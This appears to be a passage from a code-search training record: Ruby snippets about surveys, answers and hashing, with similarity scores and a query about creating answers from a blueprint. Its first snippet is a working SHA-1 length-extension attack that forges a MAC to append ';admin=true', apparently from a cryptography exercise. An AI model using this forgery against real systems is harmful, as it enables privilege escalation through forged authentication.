"def challenge29(mac, message)\n # Copy SHA1 padding code into a proc\n sha1_pad = proc do |s|\n bit_len = s.bytesize << 3\n s.force_encoding(Encoding::ASCII_8BIT)\n pad = 0x80.chr\n while ((s + pad).size % 64) != 56\n pad += \"\\x00\"\n end\n pad += [bit_len >> 32, bit_len & 0xffffffff].pack(\"N2\")\n end\n \n h = mac.unpack('N5')\n extension = ';admin=true'\n\n IO.readlines('/usr/share/dict/words', chomp: true).each do |key|\n glue = sha1_pad.call(key + message)\n forged_message = message + glue + extension\n forged_mac = CryptUtil::Digest::SHA1.digest(key.force_encoding(Encoding::ASCII_8BIT) + forged_message, h, [key, message, glue].map(&:bytesize).sum / 64)\n if CryptUtil::Digest::SHA1.authenticate_mac(forged_mac, key, forged_message)\n return forged_mac, forged_message\n end\n end\n end",
"def writers_hash\n search_by_text_hash 'сценарий'\n end",
"def dictionary\n @dictionary ||= ngrams.first.probabilities \n end",
"def hash\n [check_id, exceptions, key, links, port, proof, protocol, since, status].hash\n end",
"def results\n answers_with_count = self\n .answer_choices\n .select(\"answer_choices.*, COUNT(responses.id) AS response_count\")\n .joins(\"LEFT OUTER JOIN responses ON answer_choices.id = responses.answer_choices_id\")\n .group(\"answer_choices.id\")\n\n answers_count_hash = {}\n\n answers_with_count.map do |answer|\n answers_count_hash[answer.text] = answer.response_count\n end\n\n answers_count_hash\n end",
"def answers\n request('answers')\n end",
"def editors_hash\n search_by_text_hash 'монтаж'\n end",
"def languages\n value.document.fetch(\"#{value.key}_lang\", [])\n end",
"def rhyme_keys\n @last_word_pronunciation.map(&:rhyme_key).compact||[]\n end",
"def hash_code\n hash_code = {}\n self.seq.each do |letter|\n hash_code.keys.include?(letter) ? hash_code[letter] += 1 : hash_code[letter] = 1\n end\n hash_code\n end",
"def all\n @raw.map { |l| l['language'] }\n end",
"def hash\n [action_url, digit_timeout_ms, finish_on_key, flush_buffer, initial_timeout_ms, max_digits, min_digits, prompts, privacy_mode].hash\n end",
"def hash\n state.hash\n end"
] |
[
"0.6481944",
"0.62176263",
"0.5996037",
"0.5932177",
"0.5854237",
"0.5819696",
"0.5778338",
"0.57440966",
"0.5615111",
"0.5573738",
"0.54959536",
"0.54569966",
"0.54465926",
"0.54162484",
"0.5410884",
"0.5382513",
"0.53544545",
"0.5345392",
"0.5334789",
"0.52785355",
"0.52781665",
"0.5256339",
"0.5246485",
"0.5246246",
"0.52201986",
"0.52187574",
"0.52148354",
"0.5213066",
"0.5211185",
"0.52012205",
"0.5199055",
"0.5190956",
"0.5185291",
"0.51748985",
"0.5174189",
"0.5172564",
"0.517111",
"0.517111",
"0.516021",
"0.5157701",
"0.5157701",
"0.5157701",
"0.5157701",
"0.5157701",
"0.5157701",
"0.5157701",
"0.51574415",
"0.51564556",
"0.51374644",
"0.51259875",
"0.5101941",
"0.5090332",
"0.50820535",
"0.5074242",
"0.50691956",
"0.50415176",
"0.50353986",
"0.5032884",
"0.50280446",
"0.50260115",
"0.50259227",
"0.5021491",
"0.50139564",
"0.50135225",
"0.5012548",
"0.5010683",
"0.50102746",
"0.5009868",
"0.5008977",
"0.5004765",
"0.5003952",
"0.49969494",
"0.49969494",
"0.49969494",
"0.49969494",
"0.49969494",
"0.49969494",
"0.49969494",
"0.49969494",
"0.49969494",
"0.49969494",
"0.4971528",
"0.49624148",
"0.4959052",
"0.4951044",
"0.4949245",
"0.49418965",
"0.49385357",
"0.49337316",
"0.49226043",
"0.49186143",
"0.49172193",
"0.49132776",
"0.4911539",
"0.49068612",
"0.49060434",
"0.49007896",
"0.4896607",
"0.48900217",
"0.4883123"
] |
0.7686113
|
0
|
Returns a new answer with the given blueprint and parents. def process_answers answers.each do |a| ary1 << make_answer(a.blueprint, a) ary2 << make_answer(a.blueprint.reverse, a) end label group1: ary1 label group2: ary2 end Use this method inside a process block or inside a Machineprocess_answers method definition.
|
def make_answer (blueprint, *parents)
parent_ids = parents.collect {|answer| answer.id }
Answer.new(nil, blueprint, @location, @location, parent_ids, Factory.cycle, nil)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_question_answer_tree\n before :each do\n @reply = 1\n @type_vendor = make_forms_for_app_type \"vendor\"\n @type_donor = make_forms_for_app_type \"donor\"\n \n @q1 = Questionnaire.create(:question => \"hello world\")\n @q2 = Questionnaire.create(:question => \"how are you?\")\n @a1a = Answers.create(:ans => \"hi\", :questionnaire_id => @q1.id, :leads_to => @q2.id)\n @a1b = Answers.create(:ans => @type_donor.app_type, :questionnaire_id => @q1.id, :results_to => @type_donor.id)\n @a2 = Answers.create(:ans => @type_vendor.app_type, :questionnaire_id => @q2.id, :results_to => @type_vendor.id)\n @q2.parent_id = @a1a.id\n @q2.save\n end\n end",
"def generate_answers\n raise \"This should be handled by subclasses!\"\n end",
"def answers\n @answers ||= generate_answers\n end",
"def answers\n card = @generation.question_card.question_card\n @answers = @generation.variants.map do |v|\n tasks = Nokogiri::HTML(card).css('.task').map do |task|\n gen_task = v.generated_tasks.find_by(task_in_card: task[:id].to_i)\n task_text = generate_task_text( gen_task )\n t = gen_task.task\n\n generated_variables = gen_task.generated_variables.map { |var| [var.variable.name, var.value] }.to_h\n\n t.calculated_variables.each do |var|\n res = calculate(var.formula, generated_variables)\n generated_variables[var.name] = res\n end\n answer = paste_variables(t.answer, generated_variables)\n\n {\n name: task[:task_name],\n task: t,\n task_text: task_text,\n answer: answer\n }\n end\n {\n variant: v.number,\n tasks_in_card: tasks\n }\n end\n\n respond_to do |format|\n format.html { render layout: false }\n format.pdf do\n orientation = params[:orientation] ? 'Portrait' : 'Landscape'\n render pdf: \"answers\", # Excluding \".pdf\" extension.\n orientation: orientation\n end\n end\n end",
"def build_answer(answer_node)\n # A survey must either be passed or already present in self.node_maps\n if survey.nil?\n raise ArgumentError, 'A survey must be passed if ActiveRecordSurvey::Node::Question is not yet added to a survey'\n end\n\n # Cannot mix answer types\n # Check if not match existing - throw error\n unless answers.reject do |answer|\n answer.class == answer_node.class\n end.empty?\n raise ArgumentError, 'Cannot mix answer types on question'\n end\n\n # Answers actually define how they're built off the parent node\n return unless answer_node.send(:build_answer, self)\n\n # If any questions existed directly following this question, insert after this answer\n survey.node_maps.select do |i|\n i.node == answer_node && !i.marked_for_destruction?\n end.each do |answer_node_map|\n survey.node_maps.select do |j|\n # Same parent\n # Is a question\n !j.marked_for_destruction? &&\n j.parent == answer_node_map.parent && j.node.class.ancestors.include?(::ActiveRecordSurvey::Node::Question)\n end.each do |j|\n answer_node_map.survey = survey\n j.survey = survey\n\n answer_node_map.children << j\n end\n end\n\n answers.last\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def build_answers\n existing_answers = answers.index_by &:question_id\n survey.questions.each do |q|\n next if existing_answers.has_key? q.id\n answers.build question: q\n end\n end",
"def generate_answers\n masterless = @options[:masterless]\n return super if masterless\n\n dashboard = only_host_with_role(@hosts, 'dashboard')\n database = only_host_with_role(@hosts, 'database')\n master = only_host_with_role(@hosts, 'master')\n\n the_answers = super\n if dashboard != master\n # in 3.2, dashboard needs the master certname\n the_answers[dashboard.name][:q_puppetmaster_certname] = master.to_s\n end\n\n # do we want to check for updates?\n pe_check_for_updates = answer_for(@options, :q_pe_check_for_updates, 'n')\n the_answers[dashboard.name][:q_pe_check_for_updates] = pe_check_for_updates\n the_answers[master.name][:q_pe_check_for_updates] = pe_check_for_updates\n\n if @options[:type] == :upgrade && dashboard != database\n # In a split configuration, there is no way for the upgrader\n # to know how much disk space is available for the database\n # migration. We tell it to continue on, because we're\n # awesome.\n the_answers[dashboard.name][:q_upgrade_with_unknown_disk_space] = 'y'\n end\n @hosts.each do |h|\n h[:answers] = the_answers[h.name]\n end\n return the_answers\n end",
"def process_answers(user:, answers:)\n utorid = user.utorid\n\n answers = answers.to_hash.symbolize_keys\n\n # grab the applicant information\n applicant_attributes = answers\n rest =\n applicant_attributes.slice!(\n :email,\n :first_name,\n :last_name,\n :phone,\n :student_number\n )\n applicant_attributes[:utorid] = utorid\n # grab the application information\n application_attributes = rest\n rest =\n application_attributes.slice!(\n :comments,\n :department,\n :gpa,\n :previous_uoft_experience,\n :program\n )\n # the year in progress is computed backwards from the date\n if rest[:program_start]\n application_attributes[:yip] =\n ((Date.today - Date.parse(rest[:program_start])) / 356).floor +\n 1\n end\n application_attributes[:session] = @posting.session\n application_attributes[:posting] = @posting\n\n # Create the position preferences\n position_preferences_hash = rest[:position_preferences]\n rest.except!(:position_preferences)\n # Find the position_id and position_code of all items listed\n # in `position_preferences`. However, take special care to limit\n # to only positions that are actually associated with this posting\n # through a PostingPosition\n position_preferences_attributes =\n if position_preferences_hash\n PostingPosition.joins(:position).where(\n position: { position_code: position_preferences_hash.keys },\n posting: @posting\n ).pluck('position.id', 'position.position_code')\n .map do |(position_id, position_code)|\n {\n position_id: position_id,\n preference_level:\n position_preferences_hash[position_code],\n # These are needed so we can use the upsert method\n created_at: DateTime.now,\n updated_at: DateTime.now\n }\n end\n else\n []\n end\n\n # Extract all the file upload questions\n @file_upload_answers = rest\n rest = @file_upload_answers.slice!(*file_upload_questions.map(&:to_sym))\n\n # Find if there's an existing applicant and associated application.\n @applicant = Applicant.find_or_initialize_by(utorid: utorid)\n application = @applicant.applications.find_by(posting: @posting)\n application_attributes[:id] = application.id if application\n\n # Everything left at this point is the answer to a custom question\n application_attributes[:custom_question_answers] = rest\n\n @applicant.attributes =\n applicant_attributes.merge(\n applications_attributes: [application_attributes]\n )\n @position_preferences_attributes = position_preferences_attributes\n end",
"def answers\n [answer_1, answer_2]\n end",
"def process_answers\n if self.answers.present?\n fields.each do |field|\n # remove nil values\n if field.field_type_checkbox?\n self.answers[field.id.to_s] = if self.answers[field.id.to_s].is_a?(String)\n JSON.parse(self.answers[field.id.to_s]).reject(&:blank?).uniq\n elsif self.answers[field.id.to_s].is_a?(Array)\n self.answers[field.id.to_s].reject(&:blank?).uniq\n end\n\n # Process to store attachment file\n elsif field.field_type_file?\n data = self.answers[field.id.to_s]\n if data.present?\n uploader = AttachmentUploader.new\n uploader.question_id = field.id.to_s\n uploader.form_id = form_id\n uploader.store!(data)\n self.answers[field.id.to_s] = uploader.url\n end\n end\n end\n end\n end",
"def process( item_queue=[], answers={} )\n if item = item_queue.shift\n item.config_items = answers\n process_item item\n\n # add (or replace) this item's answer to the answers list\n answers[ item.key ] = item\n\n # add any next_items to the queue\n item_queue = item.next_items + item_queue\n\n process item_queue, answers\n end\n\n answers\n end",
"def answers_json\n return false unless @questions\n out = {}\n @questions.each do |q|\n q_id = q.id\n out[q_id] = {}\n q.answers.each do |a|\n a_id = a.id\n out[q_id][a_id] = {}\n a.inputs.each do |i|\n out[q_id][a_id][i.key] = i.value\n end\n end\n end\n\n out\n end",
"def dup_question_set_and_save\n parent_q = self\n section_q = parent_q.conditions.first.rule.question\n children_qs = section_q.children\n start_sort_order = 10000\n increment_sort_by = 2\n unless children_qs.blank?\n start_sort_order = children_qs.last.sort_order\n # number of new children questions + condition (parent) and children (rule) questions\n increment_sort_by = children_qs.count + 2\n else\n start_sort_order = section_q.sort_order\n end\n\n # remap sort orders leaving space for new questions before saving new question\n parent_q.survey_template.questions.where(\"sort_order > ?\", start_sort_order).each do |q|\n q.sort_order = q.sort_order + increment_sort_by\n q.save\n end\n\n # this will create new question, answer choices and conditions,\n # but the conditions will be pointed to the old rule which we will need to remap\n new_parent_q = parent_q.amoeba_dup\n # now that we have resorted save new_parent_q into open slot\n new_parent_q.sort_order = new_parent_q.sort_order + increment_sort_by\n new_parent_q.save\n\n # this will duplicate the question, will need to create a new rule,\n # and then set the condtions to new rule id\n new_section_q = section_q.amoeba_dup\n new_section_q.sort_order = new_section_q.sort_order + increment_sort_by\n new_section_q.save\n\n # update newly created conditions with rule relationship now that the rule has been created\n # the rule gets created with the section question\n new_rule = new_section_q.rule\n new_parent_q.conditions.each do |c|\n c.rule_id = new_rule.id\n c.save\n end\n\n children_qs.each do |q|\n new_child_q = q.amoeba_dup\n # update ancestry relationship\n new_child_q.parent = new_section_q\n\n # set sort_order\n new_child_q.sort_order = new_child_q.sort_order + increment_sort_by\n new_child_q.save\n end\n end",
"def to_a\n [self.pno, self.group_label] + Answer.to_a(self.id)\n end",
"def process_answers(user:, answers:)\n utorid = user.utorid\n\n answers = answers.to_hash.symbolize_keys\n\n # grab the applicant information\n applicant_attributes = answers\n rest =\n applicant_attributes.slice!(\n :email,\n :first_name,\n :last_name,\n :phone,\n :student_number\n )\n applicant_attributes[:utorid] = utorid\n # grab the application information\n application_attributes = rest\n rest =\n application_attributes.slice!(\n :comments,\n :department,\n :gpa,\n :previous_experience_summary,\n :previous_department_ta,\n :previous_university_ta,\n :program\n )\n # the year in progress is computed backwards from the date\n if rest[:program_start]\n # We compute the year in progress as follows:\n # (a) assume all programs start on Oct 1 (we choose October over Sept.,\n # because some peope will say their program started on e.g. Sept 14\n # rather than Sept 1; we need a date that is at least their start date)\n # (b) Find the number of years that have passed between (a) and the applicant's program_start\n # (c) Add 1 (since we don't talk about 0th year PhDs, etc.)\n # This algorithm needs to give the correct year of study even if applicants\n # fill out an application _before_ they officially advance a year. E.g., a student who\n # started in 2012 will be in their 3.5th year in the summer of 2015, but we want to call\n # them a 4th year (since they'll be a fourth year in the fall of 2015).\n\n start_of_fall = Date.today.beginning_of_year + 9.months\n if Date.today - Date.today.beginning_of_year < 4.months.in_days\n start_of_fall -= 1.year\n end\n\n application_attributes[:yip] =\n ((start_of_fall - Date.parse(rest[:program_start])) / 356)\n .floor + 1\n end\n application_attributes[:session] = @posting.session\n application_attributes[:posting] = @posting\n\n # Create the position preferences\n position_preferences_hash = rest[:position_preferences]\n if !(position_preferences_hash.is_a? Hash) &&\n !position_preferences_hash.nil?\n raise StandardError,\n \"Unknown format of position_preferences: '#{\n position_preferences_hash\n }'\"\n end\n rest.except!(:position_preferences)\n # Find the position_id and position_code of all items listed\n # in `position_preferences`. However, take special care to limit\n # to only positions that are actually associated with this posting\n # through a PostingPosition\n valid_position_codes = []\n position_preferences_attributes =\n if position_preferences_hash\n PostingPosition.joins(:position).where(\n position: { position_code: position_preferences_hash.keys },\n posting: @posting\n ).pluck('position.id', 'position.position_code')\n .map do |(position_id, position_code)|\n # We need to keep track of the valid position codes so that we can error if a\n # user has submitted an invalid code\n valid_position_codes.push position_code\n {\n position_id: position_id,\n preference_level:\n position_preferences_hash[position_code],\n # These are needed so we can use the upsert method\n created_at: DateTime.now,\n updated_at: DateTime.now\n }\n end\n else\n []\n end\n\n # `valid_position_codes` now contains\n # a list of all position pereferences that were submitted and are valid for\n # this posting. We want to error if we received any position preferences\n # that weren't valid for this posting.\n invalid_position_preferences =\n position_preferences_hash.keys - valid_position_codes\n unless invalid_position_preferences.empty?\n raise StandardError,\n \"Cannot set preferences for the following positions: '#{\n invalid_position_preferences\n }'\"\n end\n\n # Extract all the file upload questions\n @file_upload_answers = rest\n rest = @file_upload_answers.slice!(*file_upload_questions.map(&:to_sym))\n\n # Find if there's an existing applicant and associated application.\n @applicant = Applicant.find_or_initialize_by(utorid: utorid)\n application = @applicant.applications.find_by(posting: @posting)\n application_attributes[:id] = application.id if application\n\n # Everything left at this point is the answer to a custom question\n application_attributes[:custom_question_answers] = rest\n\n @applicant.attributes =\n applicant_attributes.merge(\n applications_attributes: [application_attributes]\n )\n @position_preferences_attributes = position_preferences_attributes\n end",
"def populate_display(current_qid)\n questions = Array.new {Hash.new}\n while current_qid != nil\n current_question = Questionnaire.find(current_qid)\n associated_answer = Answers.get_answer_from current_question\n\n # put question to front so it is in order from first to last question\n questions.unshift({:question => current_question.question, :answer => associated_answer})\n if current_qid != Questionnaire.get_root_question_id # root question has no parent question\n @current_selected_answers.push(Answers.get_answer_leading_to(current_question).id) \n end\n\n current_qid = current_question.parent_id\n end\n questions\n end",
"def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end",
"def answers\n pseudo_graph_pattern.all_answers.map(&:to_answer).uniq\n end",
"def answers\n extracted_answers = []\n\n unless self.qp_values.nil?\n self.qp_values.each do |answer| \n extracted_answers.push(ResponseAnswer.new(answer))\n end \n end\n\n return extracted_answers \n end",
"def as_answerlets(options)\n ((options[:kind] == \"original\" ? food_groups : food_groups_update) || {}).map do |ing, nutrients|\n Answerlet.new(match_answer: self, ingredient: ing, nutrients: nutrients, kind: options[:kind],\n modified: options[:kind] == \"update\" && nutrients.sort != food_groups[ing].sort)\n end\n end",
"def answers\n object.answers.collect do |a|\n {\n id: a.id,\n user_id: a.user_id,\n alternative_id: a.alternative_id\n }\n end\n end",
"def build_quiz_variant\n quiz_content = Array.new\n \n @quiz.questions.all.each do |question|\n question_hash = Hash.new\n question_hash[:prompt] = question.question\n \n\t\t answers = Array.new\n \n question.answers.all.each do |cur_answer|\n \t\tanswers << QuizMaster::Answer.new(cur_answer.value, cur_answer.is_correct, anchored: cur_answer.anchored)\n end\n\t\t\n question_hash[:answers] = answers\n quiz_content << question_hash\n end\n\n quiz_content.map! { |q| QuizMaster::Question.new(q) }\n\n quiz = QuizMaster::Quiz.new(quiz_content)\n\n if quiz_content.empty?\n nil\n elsif @quiz.shuffled?\n answer_reorderings = quiz.answer_reordering_vectors\n question_reordering = quiz.question_reordering_vector\n\n QuizMaster::QuizVariant.new(quiz, answer_reorderings, question_reordering)\n else\n quiz\n end\n end",
"def answers\n record_collection.map.with_index(1) do |person, index|\n [\n Separator.new(\"#{name}_index_title\", index:),\n FreeTextAnswer.new(:person_full_name, person.full_name),\n FreeTextAnswer.new(:person_privacy_known, person.privacy_known.try(:capitalize)),\n contact_details_privacy_preferences(person),\n previous_name_answer(person),\n Answer.new(:person_sex, person.gender),\n DateAnswer.new(:person_dob, person.dob,\n show: respondents_only && person.dob_estimate.blank?),\n DateAnswer.new(:person_dob_estimate, person.dob_estimate),\n FreeTextAnswer.new(:person_birthplace, person.birthplace),\n FreeTextAnswer.new(:person_address,\n data_or_private(person, person.full_address, ContactDetails::ADDRESS.to_s),\n show: true),\n Answer.new(:person_residence_requirement_met, person.residence_requirement_met),\n FreeTextAnswer.new(:person_residence_history, person.residence_history,\n show: person.residence_requirement_met == 'no'),\n FreeTextAnswer.new(:person_email,\n data_or_private(person, email_answer(person), ContactDetails::EMAIL.to_s)),\n FreeTextAnswer.new(:person_home_phone,\n data_or_private(person,\n home_phone_answer(person),\n ContactDetails::HOME_PHONE.to_s)),\n FreeTextAnswer.new(:person_mobile_phone,\n data_or_private(\n person, mobile_phone_answer(person), ContactDetails::MOBILE.to_s\n )),\n Answer.new(:person_voicemail_consent, person.voicemail_consent), # This shows only if a value is present\n FreeTextAnswer.new(\n :person_relationship_to_children,\n RelationshipsPresenter.new(c100_application).relationship_to_children(\n person, show_person_name: false, bypass_c8: bypass_relationships_c8?\n )\n ),\n Partial.row_blank_space,\n ]\n end.flatten.select(&:show?)\n end",
"def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end",
"def translateAllAnswers( completeFillArr )\n ansArr = []\n completeFillArr.each { |fillArr|\n ansArr.push( [translateAnswerRow( fillArr )] )\n }\n ansArr\n end",
"def answers\n @answers ||= {}\n end",
"def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end",
"def create_replies(comment, post_id, parent_id)\nuser_id = User.all.sample.id\nComment.create({\n user_id: user_id,\n parent_id: parent_id,\n parent_type: 'Comment',\n post_id: post_id,\n body: comment[\"comment\"]\n})\nVote.create({\n user_id: user_id,\n voteable_id: parent_id,\n voteable_type: 'Comment',\n vote_type: \"Upvote\"\n\n})\nif (comment[\"children\"])\n comment[\"children\"].reverse[0..2].each do |reply |\n create_replies(reply, post_id, parent_id)\n end\nend\n\nend",
"def initialize(answerarray)\n answerarray = answerarray\n puts \"MAGIC 8 BALL\\nplease enter a question\"\n question = gets.chomp\n case question\n when \"add_answers\"\n Add_answers.new(answerarray)\n when \"reset_answers\"\n Reset_answers.new\n when \"print_answers\"\n Print_answers.new(answerarray)\n when \"quit\"\n puts \"Goodbye\"\n else \n basic(answerarray)\n end\n end",
"def survey_answers\n survey_questions.map(&:survey_answers).flatten\n end",
"def answers\n @answers ||= Factory.load_answers_at_machine(@location, @load_scores)\n end",
"def answer(params={})\n matching_answer_class.new(params.merge(question: self))\n end",
"def build_answers\n @questions.size.times do\n @user_key.answers.build\n end\n end",
"def similar_answers\n sa = []\n self.connections.each do |c|\n sa << c.target_answer_id\n end\n\n sa\n end",
"def create\n @answer = @question.answers.new(answer_params)\n\n if @answer.save\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:new, @answer)\n end\n end",
"def create(answers, asker)\n project = {}\n @config.each do |attr,conf|\n answer = answers[attr]\n handler = Proj::Attributes::attribute_handler(attr)\n val = answer_value(answer,handler)\n project[attr] = handler.transform_val(val,conf,asker)\n end\n project\n end",
"def create\n passed = true\n count = 0\n if params[:status] == \"listOfAnswers\"\n params[:answers].each do |ans|\n @answer = Answer.new(answers_params(ans))\n if @answer.save\n if @answer.correct\n count = count + 1\n # update_result ans[:user_id], ans[:quiz_id]\n end\n else\n passed = false\n end\n end\n if passed\n create_result params[:answers].first[:user_id], params[:answers].first[:quiz_id], count\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n else\n @answer = Answer.new(answer_params)\n if @answer.save\n if @answer.correct\n update_result\n end\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n @response = Response.new(params[:response])\n @response.ip_address = request.remote_ip\n @response.survey_id = @survey.id\n @response.user_id = current_user\n \n for param in params do\n if param[0] =~ /^question_id_/\n # handle all question parameters\n # $' represents the value of the question_id\n if param[1].is_a? Hash\n # Valid keys include country, option, year, month, day and numeric option_id\n if param[1].has_key? \"year\" && \"month\" && \"day\"\n # concat year, month and day into one answer\n @response.answers.build(:question_id => $', :answer => Date.new(param[1][\"year\"].to_i, param[1][\"month\"].to_i, param[1][\"day\"].to_i) )\n elsif param[1].has_key? \"option\"\n # look up option id for radio & select questions and build answer\n option_id = Option.find_by_label_and_question_id(param[1][\"option\"], $').id\n @response.answers.build(:question_id => $', :answer => param[1][\"option\"], :option_id => option_id)\n elsif param[1].has_key? \"country\"\n # build country answer\n @response.answers.build(:question_id => $', :answer => param[1][\"country\"])\n else\n # build checkbox and likert answers\n param[1].each do |key, value|\n @response.answers.build(:question_id => $', :answer => value, :option_id => key) unless value == \"0\"\n end\n end\n else\n # build answer without option ie text, textarea\n @response.answers.build(:question_id => $', :answer => param[1] ) #unless param[1].blank?\n end \n end\n if param[0] == 'token'\n @response.survey.update_invitation(param[1])\n end\n end\n\n respond_to do |format|\n if @response.save!\n flash[:notice] = 'Response was successfully created.'\n format.html { redirect_to([@survey, @response]) }\n format.xml { render :xml => @response, :status => :created, :location => @response }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @response.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordInvalid => invalid\n render :action => \"new\"\n end",
"def perform(answer_1)\n answers_to_compare = AnswerQuery.new.answers_to_compare(answer_1)\n\n answers_to_compare.each do |answer_2|\n similarity = SimilarityMachine::AnswersCalculator.new(\n answer_1,\n answer_2\n ).calculate_similarity\n\n AnswerConnection.create!(answer_1: answer_1, answer_2: answer_2,\n similarity: similarity)\n end\n end",
"def create\n @answer = @question.answers.build(answer_params)\n @answer.save\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end",
"def create\n @question = Question.new(text: \"Default\")\n @answer = @question.answers.build(text: \"Answer1\", color: \"red\", score: 100)\n @answer.save\n @answer = @question.answers.build(text: \"Answer2\", color: \"green\", score: 50)\n @answer.save\n @answer = @question.answers.build(text: \"Answer3\", color: \"blue\", score: 0)\n @answer.save\n #This sets all of the default answers to have a score of 0\n GenPackage.all.each do |package|\n @answer_value = package.answer_values.build(score: 0, question_id: @question.id)\n @answer_value.save\n end\n\n #This qill try and save the question, and if it succeeds, then it alerts the use that the question had been created\n respond_to do |format|\n if @question.save\n format.html { redirect_to :planner, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: :planner }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def map_choices!(&ruby_block)\n @choices.map! do |choice|\n choice = ruby_block.call(choice)\n choice.parent = self unless choice.parent\n choice\n end\n end",
"def answer\n if answered?\n answers.last.answer\n else\n [{:answer => \"not answered\"}]\n end\n end",
"def answers\n []\n end",
"def answer_question(i, answer)\n @answers[i] = answer\n end",
"def create_answers test_source=false, &block\n Card::Metric::AnswerCreator.new(self, test_source, &block).add_answers\nend",
"def update_responses(responses)\n\n ui_hash = []\n\n responses.each do |key, value|\n question = survey.question(key)\n response = response(key)\n\n next if value.nil? || question.nil?\n\n if question.type == :none || question.type == :repeater\n answer = question.answers.first\n ui_hash.push(HashWithIndifferentAccess.new(\n question_id: question.id.to_s,\n api_id: response ? response.api_id : Surveyor::Common.generate_api_id,\n answer_id: answer.id.to_s,\n answer.value_key => value.to_s,\n autocompleted: true\n ))\n end\n\n if question.type == :one\n ui_hash.push(HashWithIndifferentAccess.new(\n question_id: question.id.to_s,\n api_id: response ? response.api_id : Surveyor::Common.generate_api_id,\n answer_id: question.answer(value).id.to_s,\n autocompleted: true\n ))\n end\n\n if question.type == :any\n value.each do |item|\n ui_hash.push(HashWithIndifferentAccess.new(\n question_id: question.id.to_s,\n api_id: response ? response.api_id : Surveyor::Common.generate_api_id,\n answer_id: question.answer(item).id.to_s,\n autocompleted: true\n ))\n end\n end\n end\n\n update_from_ui_hash(Hash[ui_hash.map.with_index { |value, i| [i.to_s, value] }])\n end",
"def sibling_responses\n ac = {answer_choice_id: self.answer_choice_id, id: self.id}\n Response.find_by_sql([<<-SQL, ac])\n SELECT\n\t\t\t\t\trespones.*\n\t\t\t\tFROM (\n\t\t\t\t\tSELECT\n\t\t\t\t\t\tquestions.*\n\t\t\t\t\tFROM\n\t\t\t\t\t\tquestions\n\t\t\t\t\t\t\tJOIN answer_choices ON answer_choices.question_id = questions.id\n\t\t\t\t\tWHERE\n\t\t\t\t\t\tanswer_choices.id = :answer_choice_id\n\t\t\t\t\t) AS quest\n\t\t\t\t\tJOIN\n\t\t\t\t\t\tanswer_choices ON answer_choices.question_id = questions.id\n\t\t\t\t\tJOIN\n\t\t\t\t\t\tresponses ON responses.answer_choice_id = answer_choices.id\n\t\t\t\t\tWHERE\n\t\t\t\t\t\t(responses.id != :id)\n\t\t\t\tSQL\n end",
"def answers\n [].tap do |a|\n a << teaching_maths_or_physics\n a << current_school\n a << initial_teacher_training_subject\n a << initial_teacher_training_subject_specialism if eligibility.initial_teacher_training_subject_specialism.present?\n a << has_uk_maths_or_physics_degree if eligibility.has_uk_maths_or_physics_degree.present?\n a << qts_award_year\n a << employed_as_supply_teacher\n a << has_entire_term_contract if eligibility.employed_as_supply_teacher?\n a << employed_directly if eligibility.employed_as_supply_teacher?\n a << disciplinary_action\n a << formal_performance_action\n end\n end",
"def post_process(answer)\n answer\n end",
"def create_steps(show_correct_answers_option)\n @@steps = []\n questions_tests.each do |variable|\n @@steps << 'question'\n @@steps << 'show_correct' if show_correct_answers_option\n end\n @@steps << 'evaluate'\n end",
"def evaluate_answers\n self.answers.each do |a|\n q = a.question\n a.correct = (a.answer_mask == q.answer_mask)\n a.save(:validate=>false)\n end\n end",
"def answers\n request('answers')\n end",
